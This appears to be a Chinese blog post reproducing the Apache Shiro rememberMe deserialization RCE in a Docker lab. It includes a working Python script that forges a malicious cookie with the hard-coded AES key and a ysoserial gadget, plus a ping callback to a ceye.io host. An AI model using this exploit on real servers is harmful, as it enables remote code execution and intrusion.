Shiro框架漏洞

漏洞简述

Shiro默认使用了CookieRememberMeManager, 其处理cookie的流程是: 得到rememberMe的cookie值–>Base64解码–>AES解密–>反序列化.然而AES的密钥是硬编码的, 密钥泄漏的根本原因是开发人员在开发过程中部分代码直接使用了网上的一些开源的项目代码,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。

影响版本Apache Shiro <= 1.2.4

Docker容器
环境搭建

docker pull medicean/vulapps:s_shiro_1
>docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1
>docker exec -it ID /bin/bash

访问http://192.168.213.128:8081/login.jsp

在这里插入图片描述

到此Shiro环境已经搭建好

漏洞复现
登录页面输入账户密码抓包,回包发现Shiro标志。

在这里插入图片描述
(1)使用脚本生成payload.cookie

import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar路径', 'CommonsCollections2', command], stdout=subprocess.PIPE)
    BS   = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key  =  "kPH+bIxk5D2deZiIxcaaaA=="
    mode =  AES.MODE_CBC
    iv   =  uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])    
    with open("新建payload.cookie路径", "w") as fpw:
        print("rememberMe={}".format(payload.decode()), file=fpw)

执行脚本,生成payload文件

python3 python脚本路径 "ping xxxx.ceye.io"

登录进去并抓包,替换cookie值

在这里插入图片描述
在这里插入图片描述

查看ceye平台

在这里插入图片描述

漏洞存在

(2)使用工具ShiroExploit.V2.51
在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值